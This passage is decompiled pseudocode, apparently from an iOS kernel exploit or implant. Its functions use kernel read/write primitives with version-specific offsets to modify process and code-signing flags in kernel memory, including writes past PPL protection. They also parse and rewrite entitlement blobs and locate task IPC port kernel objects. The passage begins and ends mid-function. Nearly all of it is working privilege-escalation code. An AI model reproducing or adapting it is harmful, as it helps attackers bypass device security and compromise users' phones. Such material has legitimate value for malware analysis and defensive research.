a1->xnuMajorVersion; + if ( xnuMajorVersion >= 6153 ) + { + if ( xnuMajorVersion <= 8791 ) + { + if ( xnuMajorVersion <= 8018 ) + { + if ( xnuMajorVersion <= 7194 ) + { + v18 = 239; + if ( a1->someLargeNumber > 0x18090A078FFFFFLL ) + v18 = 231; + } + else + { + v18 = 223; + } + } + else + { + v18 = 151; + } + } + else + { + v18 = 143; + } + v6 = v18 + v5; + goto LABEL_5; + } + return 1; + } + v8 = a1->xnuMajorVersion; + if ( v8 >= 10002 ) + { + v9 = a1; + v10 = 18350080; +LABEL_13: + has_flag = krw_ctx_has_flag(v9, v10); + v12 = !has_flag; + if ( has_flag ) + v13 = 201; + else + v13 = 193; + if ( has_flag ) + v14 = 202; + else + v14 = 194; + v15 = 199; + v16 = 191; +LABEL_50: + if ( v12 ) + v15 = v16; + goto LABEL_52; + } + if ( v8 >= 8792 ) + { + v19 = krw_ctx_has_flag(a1, 18350080); + v12 = !v19; + if ( v19 ) + v13 = 193; + else + v13 = 185; + if ( v19 ) + v14 = 194; + else + v14 = 186; + v15 = 191; + v16 = 183; + goto LABEL_50; + } + if ( v8 >= 8019 ) + { + v9 = a1; + v10 = 1572864; + goto LABEL_13; + } + someLargeNumber = a1->someLargeNumber; + if ( someLargeNumber >= 0x1C1B0A80100000LL ) + { + v21 = krw_ctx_has_flag(a1, 0x80000); + v12 = !v21; + if ( v21 ) + v13 = 265; + else + v13 = 257; + v22 = 266; + v23 = 258; +LABEL_46: + if ( v12 ) + v14 = v23; + else + v14 = v22; + v15 = 263; + v16 = 255; + goto LABEL_50; + } + if ( v8 >= 7195 ) + { + v24 = krw_ctx_has_flag(a1, 0x80000); + v12 = !v24; + if ( v24 ) + v13 = 264; + else + v13 = 256; + v22 = 265; + v23 = 257; + goto LABEL_46; + } + if ( someLargeNumber <= 0x18090A078FFFFFLL ) + v13 = 272; + else + v13 = 264; + if ( someLargeNumber <= 0x18090A078FFFFFLL ) + v14 = 273; + else + v14 = 265; + v15 = 271; + if ( someLargeNumber > 0x18090A078FFFFFLL ) + v15 = 263; +LABEL_52: + v25 = v15 + v5; + v26 = kreadbuf_last_1(a1, v15 + v5, 1, &v27); + result = 0; + if ( !v26 ) + return result; + if ( !v27 ) + return result; + result = kreadbuf_last_1(a1, v13 + v5, 1, &v27); + if ( !(_DWORD)result ) + return result; + if ( !v27 ) + return 1; + result = kreadbuf_last_1(a1, v14 + v5, 1, &v27); + if ( (_DWORD)result ) + { + if ( !v27 ) + return 0; + v7 = (__int64)a1; + v6 = v25; +LABEL_6: + result = kreadbuf_last_1((struct_krwCtx *)v7, v6, 1, &v27); + if ( !(_DWORD)result ) + return result; + return v27 != 0; + } + return result; +} + +//----- (000000000002DC40) ---------------------------------------------------- +__int64 __fastcall sub_2DC40(struct_krwCtx *a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v5; // x20 + int v6; // w8 + int xnuMajorVersion; // w8 + struct_krwCtx *v8; // x0 + int v9; // w1 + _BOOL4 has_flag; // w0 + bool v11; // zf + __int64 v12; // x8 + __int64 v13; // x9 + __int64 v14; // x10 + _BOOL4 v15; // w0 + __int64 v16; // x21 + unsigned __int64 someLargeNumber; // x9 + _BOOL4 v18; // w0 + _BOOL4 v19; // w0 + unsigned __int8 v20; // [xsp+Fh] [xbp-31h] BYREF + __int64 v21; // [xsp+10h] [xbp-30h] BYREF + unsigned __int8 v22; // [xsp+1Fh] [xbp-21h] BYREF + + v22 = 0; + if ( !krw_ctx_has_flag(a1, 85475329) ) + return 1; + result = sub_349C8(a1, a2); + if ( !result ) + return result; + v5 = result; + if ( krw_ctx_has_flag(a1, 32) ) + { + result = kread64_outptr(a1, v5 + 176, (unsigned __int64 *)&v21); + if ( (_DWORD)result ) + { + result = validate_addr((__int64)a1, v21); + if ( result ) + { + result = kreadbuf_last_1(a1, v21 + 32, 1, &v20); + if ( (_DWORD)result ) + { + v6 = v20; + return v6 != 0; + } + } + } + return result; + } + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion >= 10002 ) + { + v8 = a1; + v9 = 18350080; +LABEL_10: + has_flag = krw_ctx_has_flag(v8, v9); + v11 = !has_flag; + v12 = 201; + if ( !has_flag ) + v12 = 193; + v13 = 202; + v14 = 194; +LABEL_17: + if ( v11 ) + v16 = v14; + else + v16 = v13; + goto LABEL_20; + } + if ( xnuMajorVersion >= 8792 ) + { + v15 = krw_ctx_has_flag(a1, 18350080); + v11 = !v15; + v12 = 193; + if ( !v15 ) + v12 = 185; + v13 = 194; + v14 = 186; + goto LABEL_17; + } + if ( xnuMajorVersion >= 8019 ) + { + v8 = a1; + v9 = 1572864; + goto LABEL_10; + } + someLargeNumber = a1->someLargeNumber; + if ( someLargeNumber >= 0x1C1B0A80100000LL ) + { + v18 = krw_ctx_has_flag(a1, 0x80000); + v11 = !v18; + v12 = 265; + if ( !v18 ) + v12 = 257; + v13 = 266; + v14 = 258; + goto LABEL_17; + } + if ( xnuMajorVersion >= 7195 ) + { + v19 = krw_ctx_has_flag(a1, 0x80000); + v11 = !v19; + v12 = 264; + if ( !v19 ) + v12 = 256; + v13 = 265; + v14 = 257; + goto LABEL_17; + } + v12 = 272; + if ( someLargeNumber <= 0x18090A078FFFFFLL ) + { + v16 = 273; + } + else + { + v12 = 264; + v16 = 265; + } +LABEL_20: + result = kreadbuf_last_1(a1, v12 + v5, 1, &v22); + if ( !(_DWORD)result ) + return result; + if ( !v22 ) + return 1; + result = kreadbuf_last_1(a1, v16 + v5, 1, &v22); + if ( (_DWORD)result ) + { + v6 = v22; + return v6 != 0; + } + return result; +} + +//----- (000000000002DE64) ---------------------------------------------------- +mach_vm_address_t __fastcall sub_2DE64(struct_krwCtx *a1, unsigned int a2) +{ + mach_vm_address_t result; // x0 + mach_vm_address_t v4; // x20 + int v5; // [xsp+Ch] [xbp-14h] BYREF + + result = sub_34680(a1, a2); + if ( result ) + { + v4 = result; + result = kread32_outptr((__int64)a1, result, &v5); + if ( (_DWORD)result ) + return (v5 & 1) != 0 || (unsigned int)ppl_kwrite32(a1, v4, v5 | 1u) != 0; + } + return result; +} + +//----- (000000000002DED4) ---------------------------------------------------- +mach_vm_address_t __fastcall sub_2DED4(struct_krwCtx *a1, unsigned int a2, int a3) +{ + mach_vm_address_t result; // x0 + mach_vm_address_t v7; // x22 + int v8; // w8 + unsigned int v9; // w9 + int v10; // w10 + unsigned __int64 v11; // x21 + unsigned __int64 v12; // x21 + int v13; // w8 + int v14; // w9 + int v15; // w10 + int v16; // w9 + int v17; // w2 + int v18; // [xsp+Ch] [xbp-24h] BYREF + + result = sub_2DC40(a1, a2); + if ( (_DWORD)result ) + { + result = sub_34680(a1, a2); + if ( result ) + { + v7 = result; + result = kread32_outptr((__int64)a1, result, &v18); + if ( (_DWORD)result ) + { + v8 = v18; + v9 = v18 & 0xEFFFFCFE; + v10 = a3 ? 268435457 : 769; + v18 = v10 | v9; + if ( (v10 | v9) == v8 || (result = ppl_kwrite32(a1, v7, v10 | v9), (_DWORD)result) ) + { + result = sub_33CB0(a1, a2); + if ( result ) + { + v11 = result; + result = sub_3481C((__int64)a1); + if ( (_DWORD)result ) + { + v12 = v11 + (unsigned int)result; + result = kread32_outptr((__int64)a1, v12, &v18); + if ( (_DWORD)result ) + { + v13 = v18; + if ( a1->someLargeNumber <= 0x1C1B1E025FFFFFLL ) + v14 = 16; + else + v14 = 32784; + v15 = v14 | v18; + v16 = v18 & ~v14; + if ( a3 ) + v17 = v16; + else + v17 = v15; + v18 = v17; + if ( v17 == v13 ) + return 1; + result = noppl_kwrite32((__int64)a1, v12, v17); + if ( (_DWORD)result ) + return 1; + } + } + } + } + } + } + } + return result; +} + +//----- (000000000002E00C) ---------------------------------------------------- +void __fastcall sub_2E00C(__int64 a1, unsigned int a2) +{ + mach_vm_address_t v4; // x0 + unsigned __int64 v5; // x8 + mach_vm_address_t v6; // x0 + int v7; // w0 + unsigned __int64 v8; // x8 + __int64 v9; // x8 + int v10; // w0 + unsigned __int64 v11; // x1 + __int64 v12; // x2 + unsigned __int64 *v13; // x8 + unsigned __int64 v14; // x8 + unsigned __int64 v15; // x8 + bool v16; // zf + int v17; // w0 + _OWORD v18[6]; // [xsp+0h] [xbp-1F0h] BYREF + __int64 v19; // [xsp+60h] [xbp-190h] + unsigned __int64 v20; // [xsp+68h] [xbp-188h] BYREF + unsigned int v21; // [xsp+74h] [xbp-17Ch] BYREF + _BYTE v22[8]; // [xsp+78h] [xbp-178h] BYREF + __int64 v23; // [xsp+80h] [xbp-170h] + unsigned __int64 v24; // [xsp+98h] [xbp-158h] + __int64 v25; // [xsp+A0h] [xbp-150h] + __int128 v26; // [xsp+E0h] [xbp-110h] BYREF + _OWORD v27[11]; // [xsp+F0h] [xbp-100h] BYREF + __int64 v28; // [xsp+1A0h] [xbp-50h] + + v4 = sub_34FF8(a1, a2, &v21); + if ( v4 && ((v21 & 0x400) != 0 || noppl_kwrite32(a1, v4, v21 | 0x400)) ) + { + if ( (v5 = *(_QWORD *)(a1 + 344), v5 <= 0x22580A06BFFFFFLL) + && (v5 < 0x1F543C40800000LL || *(int *)(a1 + 320) > 8791) + || (v6 = sub_34F5C((struct_krwCtx *)a1, a2, 1, &v21)) != 0 + && ((v21 & 0x400) != 0 || (unsigned int)ppl_kwrite32((struct_krwCtx *)a1, v6, v21 | 0x400)) ) + { + if ( (unsigned int)sub_2C2F8((struct_krwCtx *)a1, a2, (__int64)v22) ) + { + sub_2E310(a1, (__int64)v22); + if ( v7 ) + { + v8 = *(_QWORD *)(a1 + 344); + if ( v8 >= 0x1C1B1914600000LL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v8 >= 0x1F530000000000LL) ) + { + if ( v24 ) + { + if ( kread64_outptr((struct_krwCtx *)a1, v24, &v20) ) + { + v11 = v20; + if ( v20 ) + { + while ( 1 ) + { + v28 = 0; + memset(&v27[1], 0, 160); + v12 = *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ? 48LL : 64LL; + v26 = 0u; + v27[0] = 0u; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v11, v12, &v26) ) + break; + v13 = *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL + ? (unsigned __int64 *)((char *)v27 + 8) + : (unsigned __int64 *)((char *)&v27[1] + 8); + v14 = *v13; + v16 = v25 == v14; + v15 = v14 >> 29; + v16 = v16 || v15 == 0; + if ( !v16 ) + { + v19 = 0; + v18[0] = __PAIR128__(v20, 0); + memset(&v18[1], 0, 80); + sub_2E310(a1, (__int64)v18); + if ( !v17 ) + break; + } + if ( !kread64_outptr((struct_krwCtx *)a1, v20, &v20) ) + break; + v11 = v20; + if ( !v20 ) + goto LABEL_16; + } + } + } + } + } + else + { +LABEL_16: + sub_2CB54((__int64)v22); + if ( (unsigned int)sub_2E4E0((struct_krwCtx *)a1, a2, (unsigned __int64 *)v18) + && (unsigned int)sub_2E5C0((struct_krwCtx *)a1, a2, (__int64 *)v18, 0, (__int64)v22) ) + { + v9 = 72; + if ( *(_QWORD *)(a1 + 344) > 0x1F530F027FFFFFuLL ) + v9 = 88; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v9 + v23, 20, &v26) + && sub_22464(a1, (__int64)&v26, 20) ) + { + sub_2E310(a1, (__int64)v22); + if ( v10 ) + sub_2CB54((__int64)v22); + } + } + } + } + } + } + } +} +// 2E100: variable 'v7' is possibly undefined +// 2E1D4: variable 'v10' is possibly undefined +// 2E2B0: variable 'v17' is possibly undefined + +//----- (000000000002E310) ---------------------------------------------------- +void __fastcall sub_2E310(__int64 a1, __int64 a2) +{ + unsigned __int64 v4; // x8 + __int64 v5; // x22 + __int64 v6; // x22 + int v7; // w8 + int v8; // w9 + __int64 v9; // x21 + int v10; // w0 + unsigned __int64 v11; // [xsp+0h] [xbp-30h] BYREF + int v12; // [xsp+8h] [xbp-28h] BYREF + int v13; // [xsp+Ch] [xbp-24h] BYREF + + v13 = 1; + v4 = *(_QWORD *)(a1 + 344); + if ( v4 <= 0x1F530F027FFFFFLL ) + { + if ( v4 <= 0x1F52FFFFFFFFFFLL ) + { + if ( v4 <= 0x1C1B19145FFFFFLL ) + { + if ( *(int *)(a1 + 320) <= 7194 ) + v5 = 168; + else + v5 = 160; + } + else + { + v5 = 168; + } + } + else + { + v5 = 184; + } + } + else + { + v5 = 172; + } + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, *(_QWORD *)(a2 + 8) + v5, 1, &v13) ) + { + if ( (v13 & 1) != 0 + || (v13 |= 1u, (unsigned int)kwritebuf_universal((_QWORD *)a1, *(_QWORD *)(a2 + 8) + v5, &v13, 1u)) ) + { + v6 = *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ? 16LL : 32LL; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v6 + *(_QWORD *)(a2 + 8), 4, &v12) ) + { + v7 = v12; + if ( (~v12 & 0x4004000) != 0 ) + { + v8 = *(int *)(a1 + 320) <= 7194 ? 67125248 : 0x4000000; + v12 |= v8; + if ( (v8 | v7) != v7 ) + { + if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, *(_QWORD *)(a2 + 8) + v6, &v12, 4u) ) + return; + *(_DWORD *)a2 = v12; + } + } + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ) + v9 = 128; + else + v9 = 136; + if ( kread64_outptr((struct_krwCtx *)a1, v9 + *(_QWORD *)(a2 + 8), &v11) ) + { + if ( !v11 || (sub_2A63C((struct_krwCtx *)a1, *(_QWORD *)(a2 + 8) + v9, 0), v10) ) + *(_DWORD *)(a2 + 80) = 0; + } + } + } + } +} +// 2E4C0: variable 'v10' is possibly undefined + +//----- (000000000002E4E0) ---------------------------------------------------- +__int64 __fastcall sub_2E4E0(struct_krwCtx *a1, unsigned int a2, unsigned __int64 *a3) +{ + __int64 result; // x0 + unsigned __int64 v6; // x21 + unsigned __int64 v7; // x0 + __int64 v8; // x0 + __int64 v9; // x21 + unsigned __int64 v10; // x8 + unsigned __int64 v11; // [xsp+8h] [xbp-38h] BYREF + unsigned int v12; // [xsp+10h] [xbp-30h] BYREF + int v13; // [xsp+14h] [xbp-2Ch] BYREF + unsigned __int64 v14; // [xsp+18h] [xbp-28h] BYREF + + v14 = 0; + result = task_self_get_ipc_port(a1, a2); + if ( result ) + { + v6 = result; + result = sub_329B8((__int64)a1, result); + if ( result ) + { + result = kread64_outptr(a1, result, &v14); + if ( (_DWORD)result ) + { + if ( (v14 & 4) != 0 ) + { + v10 = v14 & 0xFFFFFFFFFFFFF000LL; + goto LABEL_11; + } + v7 = maybe_ipc_port_get_kobject(a1, v6); + if ( v7 ) + { + v8 = sub_33304(a1, v7); + if ( v8 ) + { + v9 = v8; + if ( (unsigned int)sub_2BBA4((__int64)a1, &v13, (int *)&v12) ) + { + if ( (unsigned int)kreadbuf_last_1(a1, v9 + v12, 8, &v11) ) + { + v10 = v11; +LABEL_11: + *a3 = v10; + return 1; + } + } + } + } + return 0; + } + } + } + return result; +} + +//----- (000000000002E5C0) ---------------------------------------------------- +__int64 __fastcall sub_2E5C0(struct_krwCtx *a1, unsigned int a2, __int64 *a3, unsigned __int8 a4, __int64 a5) +{ + unsigned __int64 v8; // x0 + unsigned __int64 v9; // x23 + __int64 v10; // x24 + __int64 v11; // x21 + __int64 v12; // x27 + __int64 v13; // x25 + __int64 v14; // x8 + __int64 v15; // x28 + __int64 v16; // x26 + __int64 v17; // x24 + unsigned int *v18; // x0 + unsigned int *v19; // x21 + size_t v20; // x8 + unsigned __int64 v21; // x9 + unsigned __int64 v22; // x10 + size_t v23; // x23 + size_t v24; // x10 + size_t v25; // x10 + unsigned int v26; // w8 + unsigned int v27; // w27 + __int64 v28; // x28 + unsigned int *v29; // x8 + unsigned int *v30; // x22 + unsigned int v31; // w25 + __int64 v32; // x26 + _DWORD *v34; // x0 + _DWORD *v35; // x23 + int v36; // w24 + unsigned __int64 v37; // x26 + _DWORD *v39; // x0 + int v40; // w1 + __int64 v41; // x9 + __int64 v42; // x10 + unsigned int *v43; // x8 + unsigned int *v44; // x0 + unsigned int v45; // w27 + unsigned int **v46; // x11 + int v47; // w15 + unsigned int v48; // w16 + __int64 v49; // x22 + size_t v50; // x23 + char *v51; // x0 + char *v52; // x24 + unsigned int *v53; // x0 + int v54; // [xsp+8h] [xbp-A8h] + unsigned int *v55; // [xsp+10h] [xbp-A0h] + __int64 v56; // [xsp+18h] [xbp-98h] BYREF + unsigned __int64 v57; // [xsp+20h] [xbp-90h] BYREF + unsigned __int64 v58; // [xsp+28h] [xbp-88h] BYREF + unsigned __int64 v59; // [xsp+30h] [xbp-80h] BYREF + unsigned __int64 v60; // [xsp+38h] [xbp-78h] BYREF + unsigned __int64 v61; // [xsp+40h] [xbp-70h] BYREF + size_t __size; // [xsp+48h] [xbp-68h] BYREF + unsigned __int64 v63; // [xsp+50h] [xbp-60h] BYREF + int v64; // [xsp+5Ch] [xbp-54h] BYREF + + v64 = 0; + __size = 0; + v63 = 0; + v60 = 0; + v61 = 0; + v58 = 0; + v59 = 0; + v56 = 0; + v57 = 0; + if ( !a5 ) + return 0; + v8 = sub_2B94C(a1, a2, a3, a4, &v57); + if ( !v8 ) + return 0; + v9 = v8; + v10 = a1->someLargeNumber <= 0x1F530F027FFFFFLL ? 48LL : 64LL; + v11 = a1->someLargeNumber <= 0x1F530F027FFFFFLL ? 64LL : 80LL; + v12 = a1->someLargeNumber <= 0x1F530F027FFFFFLL ? 16LL : 32LL; + v13 = a1->someLargeNumber <= 0x1F530F027FFFFFLL ? 120LL : 128LL; + v14 = 136; + v15 = a1->someLargeNumber <= 0x1F530F027FFFFFLL ? 128LL : 136LL; + if ( a1->someLargeNumber <= 0x1F530F027FFFFFLL ) + { + v16 = 24; + } + else + { + v14 = 144; + v16 = 40; + } + if ( !kread64_outptr(a1, v14 + v8, &v59) + || a1->someLargeNumber > 0x1F52FFFFFFFFFFLL && !kread64_outptr(a1, v9 + 152, &v58) + || !kread64_outptr(a1, v13 + v9, &v61) + || !kread64_outptr(a1, v15 + v9, &v60) + || !kread32_outptr((__int64)a1, v12 + v9, &v64) + || (v64 & 1) == 0 + || !kread64_outptr(a1, v10 + v9, &__size) + || !kread64_outptr(a1, v11 + v9, &v63) ) + { + return 0; + } + v17 = 0; + if ( v63 && __size ) + { + if ( (unsigned int)kreadbuf_last_1(a1, v16 + v9, 8, &v56) ) + { + v18 = (unsigned int *)malloc(__size); + if ( v18 ) + { + v19 = v18; + *(_QWORD *)(a5 + 96) = 0; + *(_OWORD *)(a5 + 64) = 0u; + *(_OWORD *)(a5 + 80) = 0u; + *(_OWORD *)(a5 + 32) = 0u; + *(_OWORD *)(a5 + 48) = 0u; + *(_OWORD *)a5 = 0u; + *(_OWORD *)(a5 + 16) = 0u; + if ( !(unsigned int)kreadbuf_last_1(a1, v63, __size, v18) ) + goto LABEL_110; + *(_DWORD *)a5 = v64; + v20 = __size; + v21 = v63; + *(_QWORD *)(a5 + 8) = v9; + *(_QWORD *)(a5 + 16) = v20; + v22 = v57; + *(_QWORD *)(a5 + 24) = v21; + *(_QWORD *)(a5 + 32) = v22; + *(_QWORD *)(a5 + 40) = v56; + *(_DWORD *)(a5 + 68) = a2; + v23 = v61 ? (unsigned int)(v61 - v21) : 0LL; + *(_DWORD *)(a5 + 76) = v23; + if ( v20 <= v23 ) + goto LABEL_110; + v24 = v60 ? (unsigned int)(v60 - v21) : 0LL; + *(_DWORD *)(a5 + 80) = v24; + if ( (_DWORD)v24 ) + { + if ( v20 <= v24 && ((a1->flags & 0x5584001) != 0 || a1->someLargeNumber > 0x1F52FFFFFFFFFFLL) ) + goto LABEL_110; + } + v25 = v59 ? (unsigned int)(v59 - v21) : 0LL; + *(_DWORD *)(a5 + 84) = v25; + if ( (_DWORD)v25 ) + { + if ( v20 <= v25 ) + goto LABEL_110; + } + LODWORD(v21) = v58 - v21; + v21 = v58 ? (unsigned int)v21 : 0LL; + *(_DWORD *)(a5 + 88) = v21; + if ( (_DWORD)v21 ) + { + if ( v20 <= v21 ) + goto LABEL_110; + } + if ( *v19 == 34397946 ) + { + v55 = (unsigned int *)sub_326D0(); + if ( !v55 ) + goto LABEL_110; + v39 = sub_2F980(v19); + if ( v39 ) + { + v35 = v39; + if ( (unsigned int)sub_32650(v55, 0, (__int64)v39) != -1 ) + { + LODWORD(v37) = 0; + v40 = 0; + *(_DWORD *)(a5 + 48) = 1; + *(_QWORD *)(a5 + 56) = v55; + *(_DWORD *)(a5 + 64) = 0; +LABEL_104: + *(_DWORD *)(a5 + 92) = v37; + v53 = sub_2C9B0(a5, v40, -86111230); + if ( v53 ) + { + *(_DWORD *)(a5 + 72) = *((unsigned __int8 *)v53 + 36); + if ( a1->someLargeNumber <= 0x1F52FFFFFFFFFFLL + || !sub_2C9B0(a5, 7, -86085262) + || sub_2C9B0(a5, 5, -86085263) + || (unsigned int)sub_2D3F8(a5, 5u, -86085263) ) + { + v17 = 1; +LABEL_111: + free(v19); + return v17; + } + } +LABEL_110: + sub_2CB54(a5); + v17 = 0; + goto LABEL_111; + } +LABEL_83: + sub_2F9D4(v35); + } + } + else + { + if ( *v19 != -1072898310 ) + goto LABEL_110; + v55 = (unsigned int *)sub_326D0(); + if ( !v55 ) + goto LABEL_110; + v54 = v23; + v26 = v19[2]; + if ( v26 ) + { + v27 = 0; + v28 = bswap32(v26); + v29 = v19 + 4; + while ( 1 ) + { + v30 = v29; + v31 = *(v29 - 1); + v32 = bswap32(*v29); + if ( (unsigned int)v32 < v27 || v27 == 0 ) + v27 = v32; + v34 = sub_2F980((unsigned int *)((char *)v19 + v32)); + if ( !v34 ) + goto LABEL_84; + v35 = v34; + v36 = bswap32(v31); + if ( (unsigned int)sub_32650(v55, v36, (__int64)v34) == -1 ) + goto LABEL_83; + if ( *v35 == 34397946 ) + { + if ( v54 ) + { + if ( (_DWORD)v32 != v54 ) + goto LABEL_75; + goto LABEL_74; + } + if ( !v31 ) + { + v36 = 0; +LABEL_74: + *(_DWORD *)(a5 + 64) = v36; + } + } +LABEL_75: + v29 = v30 + 2; + if ( !--v28 ) + { + v37 = ((unsigned __int64)v27 + 0x7FFFFFFF4LL) >> 3; + goto LABEL_86; + } + } + } + LODWORD(v37) = -2; +LABEL_86: + v40 = *(_DWORD *)(a5 + 64); + v41 = *v55; + if ( !(_DWORD)v41 ) + goto LABEL_103; + v42 = 0; + v43 = 0; + v44 = 0; + v45 = 0; + v46 = (unsigned int **)(*((_QWORD *)v55 + 1) + 8LL); + do + { + v47 = *((_DWORD *)v46 - 2); + v48 = bswap32(**v46); + if ( v48 == -86111230 ) + { + if ( v47 == v40 ) + v43 = *v46; + } + else if ( v48 == -86085263 && v47 == 5 ) + { + v45 = v42; + v44 = *v46; + } + ++v42; + v46 += 2; + } + while ( v41 != v42 ); + if ( !v44 ) + goto LABEL_103; + v49 = bswap32(v44[1]); + if ( !v43 || (v50 = v43[10], !(_DWORD)v50) || (v50 & 0x3FFF) != 0 ) + v50 = v49 + 1; + v51 = (char *)realloc(v44, v50); + if ( v51 ) + { + v52 = v51; + bzero(&v51[v49], v50 - v49); + *(_QWORD *)(*((_QWORD *)v55 + 1) + 16LL * v45 + 8) = v52; + v40 = *(_DWORD *)(a5 + 64); +LABEL_103: + *(_DWORD *)(a5 + 48) = 1; + *(_QWORD *)(a5 + 56) = v55; + goto LABEL_104; + } + } +LABEL_84: + sub_325DC(v55); + goto LABEL_110; + } + } + return 0; + } + return v17; +} + +//----- (000000000002EB4C) ---------------------------------------------------- +__int64 __fastcall sub_2EB4C(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3, bool *a4) +{ + __int64 result; // x0 + int v7; // w8 + int v9; // w21 + int v12; // [xsp+Ch] [xbp-24h] BYREF + + result = 0; + v12 = 0; + v7 = a1->xnuMajorVersion; + if ( v7 <= 8791 ) + { + if ( (unsigned int)(v7 - 8019) >= 2 ) + { + if ( v7 != 6153 && v7 != 7195 ) + return result; + v9 = 0x20000; +LABEL_18: + result = sub_33B98(a1, a2, a3); + if ( result ) + { + result = kreadbuf_last_1(a1, result + 72, 4, &v12); + if ( (_DWORD)result ) + { + *a4 = (v12 & v9) != 0; + return 1; + } + } + return result; + } +LABEL_17: + v9 = 0x80000; + goto LABEL_18; + } + if ( v7 == 8792 || v7 == 10002 || v7 == 8796 ) + goto LABEL_17; + return result; +} + +//----- (000000000002EC1C) ---------------------------------------------------- +__int64 __fastcall sub_2EC1C(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3, int a4) +{ + __int64 result; // x0 + int v7; // w8 + int v9; // w22 + __int64 v12; // x21 + int v13; // w8 + int v14; // [xsp+Ch] [xbp-24h] BYREF + + result = 0; + v14 = 0; + v7 = a1->xnuMajorVersion; + if ( v7 > 8791 ) + { + if ( v7 != 8792 && v7 != 10002 && v7 != 8796 ) + return result; + } + else if ( (unsigned int)(v7 - 8019) >= 2 ) + { + if ( v7 != 6153 && v7 != 7195 ) + return result; + v9 = 0x20000; + goto LABEL_18; + } + v9 = 0x80000; +LABEL_18: + result = sub_33B98(a1, a2, a3); + if ( result ) + { + v12 = result + 72; + result = kreadbuf_last_1(a1, result + 72, 4, &v14); + if ( (_DWORD)result ) + { + if ( a4 ) + v13 = v14 | v9; + else + v13 = v14 & ~v9; + v14 = v13; + return (unsigned int)kwritebuf_last_1((__int64)a1, v12, (__int64)&v14, 4) != 0; + } + } + return result; +} + +//----- (000000000002ED14) ---------------------------------------------------- +__int64 __fastcall sub_2ED14( + __int64 a1, + unsigned int a2, + unsigned __int64 a3, + mach_vm_size_t a4, + vm_prot_t a5, + int a6, + int a7) +{ + __int64 result; // x0 + int v15; // w27 + unsigned __int64 v16; // x19 + int v17; // w8 + int v18; // w9 + int v19; // w8 + unsigned __int64 v20; // x0 + __int64 v22; // x19 + unsigned __int64 v23; // x23 + unsigned __int64 v24; // x8 + unsigned __int64 v25; // x8 + size_t v26; // x25 + _QWORD *v27; // x27 + char v28; // w26 + __int64 v29; // x19 + int v31; // w2 + unsigned __int64 v32; // x0 + __int64 v33; // x8 + __int64 v34; // x9 + mach_vm_size_t v35; // x28 + mach_port_t v36; // w26 + unsigned __int64 v37; // x25 + mach_vm_address_t *v38; // x19 + _DWORD *v39; // x2 + unsigned __int64 v40; // x0 + unsigned __int64 v41; // x23 + _BOOL4 v42; // w0 + unsigned __int64 v43; // x8 + int v45; // w9 + __int64 v46; // x23 + kern_return_t v47; // w0 + __int64 v48; // x19 + mach_vm_address_t *v49; // x25 + mach_vm_address_t v50; // t1 + unsigned __int64 v51; // [xsp+10h] [xbp-130h] + int v52; // [xsp+10h] [xbp-130h] + vm_prot_t desired_access; // [xsp+18h] [xbp-128h] + vm_prot_t desired_accessa; // [xsp+18h] [xbp-128h] + int v55; // [xsp+1Ch] [xbp-124h] + int v56; // [xsp+1Ch] [xbp-124h] + int v57; // [xsp+20h] [xbp-120h] + int v58; // [xsp+24h] [xbp-11Ch] + unsigned __int64 v59; // [xsp+28h] [xbp-118h] + unsigned __int64 v60; // [xsp+30h] [xbp-110h] BYREF + mach_vm_address_t v61; // [xsp+38h] [xbp-108h] BYREF + unsigned __int64 v62; // [xsp+40h] [xbp-100h] BYREF + unsigned __int64 v63; // [xsp+48h] [xbp-F8h] BYREF + mach_vm_address_t address[2]; // [xsp+50h] [xbp-F0h] BYREF + __int128 v65; // [xsp+60h] [xbp-E0h] + __int128 v66; // [xsp+70h] [xbp-D0h] + __int128 v67; // [xsp+80h] [xbp-C0h] + __int128 v68; // [xsp+90h] [xbp-B0h] + __int128 v69; // [xsp+A0h] [xbp-A0h] + __int128 v70; // [xsp+B0h] [xbp-90h] + __int128 v71; // [xsp+C0h] [xbp-80h] + _DWORD v72[2]; // [xsp+D8h] [xbp-68h] BYREF + + result = sub_2DC40((struct_krwCtx *)a1, a2); + if ( (_DWORD)result ) + { + if ( !a4 ) + return 1; + result = sub_1F148(a2); + if ( (_DWORD)result ) + { + v15 = result; + result = sub_33D38(a1, a2, a3, &v60); + if ( result ) + { + v16 = result; + result = 0; + v17 = *(_DWORD *)(a1 + 320); + if ( v17 > 8791 ) + { + if ( v17 != 8792 && v17 != 10002 ) + { + v18 = 8796; +LABEL_12: + if ( v17 != v18 ) + return result; + } + } + else if ( (unsigned int)(v17 - 8019) >= 2 ) + { + if ( v17 == 6153 ) + { + v58 = 0x40000; + v19 = -524545; +LABEL_14: + v57 = v19; + result = kread64_outptr((struct_krwCtx *)a1, v16, &v61); + if ( (_DWORD)result ) + { + v59 = v16; + if ( !*(_QWORD *)(a1 + 496) ) + { + v52 = a7; + v56 = a6; + v70 = 0u; + v71 = 0u; + v68 = 0u; + v69 = 0u; + v66 = 0u; + v67 = 0u; + *(_OWORD *)address = 0u; + v65 = 0u; + v35 = vm_page_size; + v36 = mach_task_self_; + if ( mach_vm_allocate(mach_task_self_, address, vm_page_size, 9) ) + return 0; + desired_accessa = a5; + v37 = 0; + v38 = &address[1]; + while ( 1 ) + { + v39 = (_DWORD *)*(v38 - 1); + *v39 = 0; + v40 = sub_33D38(a1, v36, (unsigned __int64)v39, &v62); + if ( v40 ) + { + v41 = v40; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v40, 8, v72) ) + { + v42 = kread64_outptr((struct_krwCtx *)a1, v41 + 32, &v63); + v43 = v63; + if ( v42 && v63 != 0 ) + { + v45 = v72[0]; + if ( (v72[0] & 0x80000000) != 0 && v72[0] == v72[1] ) + { + *(_DWORD *)(a1 + 504) = 48; + *(_QWORD *)(a1 + 496) = v43 - (unsigned int)(48 * v45); 